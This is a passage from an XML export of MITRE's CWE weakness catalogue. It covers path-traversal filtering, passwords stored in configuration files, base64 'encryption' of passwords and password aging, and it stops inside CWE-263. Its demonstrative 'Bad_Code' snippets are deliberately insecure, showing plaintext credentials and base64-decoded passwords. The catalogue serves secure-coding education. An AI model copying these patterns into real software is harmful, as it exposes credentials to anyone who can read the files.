							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'/directory/../filename</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Leading
						Directory Dot Dot Slash - '/directory/../filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="260" Name="Password in Configuration File" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software stores a password in a configuration file that
					might be accessible to actors who do not know the
					password.</Description_Summary>
				        <Extended_Description>
					          <Text>This can result in compromise of the system for which the password is
						used. An attacker could gain access to this file and learn the stored
						password or worse yet, change the password to one of their choosing.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>522</Relationship_Target_ID>
					          <!--Insufficiently Protected Credentials-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid storing passwords in easily accessible locations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider storing cryptographic hashes of passwords as an alternative
							to storing in plaintext.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Below is a snippet from a Java properties file in which the LDAP
						server password is stored in plaintext.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-43">
					          <Intro_Text>The following examples show a portion of properties and
						configuration files for Java and ASP.NET applications. The files include
						username and password information but they are stored in
						plaintext.</Intro_Text>
					          <Example_Body>
						            <Text>This Java example shows a properties file with a plaintext username /
							password pair.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment># Java Web App ResourceBundle properties file</Comment>
							              <Code>...</Code>
							              <Code>webapp.ldap.username=secretUsername</Code>
							              <Code>webapp.ldap.password=secretPassword</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The following example shows a portion of a configuration file for an
							ASP.Net application. This configuration file includes username and
							password information for a connection to a database but the pair is
							stored in plaintext.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>ASP.NET</Code_Example_Language>
							              <Code>...</Code>
							              <Code>&lt;connectionStrings&gt;</Code>
							              <Code>&lt;add name="ud_DEV" connectionString="connectDB=uDB;
								uid=db2admin; pwd=password; dbalias=uDB;"
								providerName="System.Data.Odbc" /&gt;</Code>
							              <Code>&lt;/connectionStrings&gt;</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Username and password information should not be included in a
							configuration file or a properties file in plaintext as this will allow
							anyone who can read the file access to the resource. If possible,
							encrypt this information and avoid CWE-13.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-9">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Password Management: Password in Configuration
						File</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="261" Name="Weak Cryptography for Passwords" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>Obscuring a password with a trivial encoding does not protect
					the password.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>326</Relationship_Target_ID>
					          <!--Inadequate Encryption Strength-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Password management issues occur when a password is stored in plaintext in
						an application's properties or configuration file. A programmer can attempt
						to remedy the password management problem by obscuring the password with an
						encoding function, such as base 64 encoding, but this effort does not
						adequately protect the password.</Text>
					          <Text>The "crypt" family of functions uses weak cryptographic algorithms and
						should be avoided. It may be present in some projects for
						compatibility.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Passwords should be encrypted with keys that are at least 128 bits in
							length for adequate security.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code reads a password from a properties file and uses
						the password to connect to a database.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>Properties prop = new Properties();</Code>
							              <Code>prop.load(new FileInputStream("config.properties"));</Code>
							              <Code>String password =
								Base64.decode(prop.getProperty("password"));</Code>
							              <Code>DriverManager.getConnection(url, usr, password);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code will run successfully, but anyone with access to
							config.properties can read the value of password and easily determine
							that the value has been base 64 encoded. If a devious employee has
							access to this information, they can use it to break into the system.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code reads a password from the registry and uses the
						password to create a new network credential.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>string value = regKey.GetValue(passKey).ToString();</Code>
							              <Code>byte[] decVal = Convert.FromBase64String(value);</Code>
							              <Code>NetworkCredential netCred =
								newNetworkCredential(username,decVal.toString(),domain);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code will run successfully, but anyone who has access to the
							registry key used to store the password can read the value of password.
							If a devious employee has access to this information, they can use it to
							break into the system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-9">
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Author>Gary McGraw</Reference_Author>
					          <Reference_Title>Building Secure Software: How to Avoid Security Problems the
						Right Way</Reference_Title>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Password Management: Weak Cryptography</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>55</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="262" Name="Not Using Password Aging" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>If no mechanism is in place for managing password aging, users
					will have no incentive to update passwords in a timely
					manner.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>309</Relationship_Target_ID>
					          <!--Use of Password System for Primary Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>263</Relationship_Target_ID>
					          <!--Password Aging with Long Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>324</Relationship_Target_ID>
					          <!--Use of a Key Past its Expiration Date-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The recommendation that users change their passwords regularly and do not
						reuse passwords is universal among security experts. In order to enforce
						this, it is useful to have a mechanism that notifies users when passwords
						are considered old and that requests that they replace them with new, strong
						passwords. In order for this functionality to be useful, however, it must be
						accompanied with documentation which stresses how important this practice is
						and which makes the entire process as simple as possible for the user.
					</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>As passwords age, the probability that they are compromised
							grows.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that password aging functionality is added to the design of the
							system, including an alert previous to the time the password is
							considered obsolete, and useful information for the user concerning the
							importance of password renewal, and the method.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>A common example is not having a system to terminate old employee
						accounts.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Not having a system for enforcing the changing of passwords every
						certain period.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Not allowing password aging</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>16</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>49</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>55</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>70</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Not Allowing Password
						Aging</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="263" Name="Password Aging with Long Expiration" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Allowing password aging to occur unchecked can result in the
					possibility of diminished password integrity.</Description_Summary>
				        <Extended_Description>
					          <Text>Just as neglecting to include functionality for the management of password
						aging is dangerous, so is allowing password aging to continue unchecked.
						Passwords must be given a maximum life span, after which a user is required
						to update with a new and different password.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>255</Relationship_Target_ID>
					          <!--Credentials Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>As passwords age, the probability that they are compromised
							grows.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
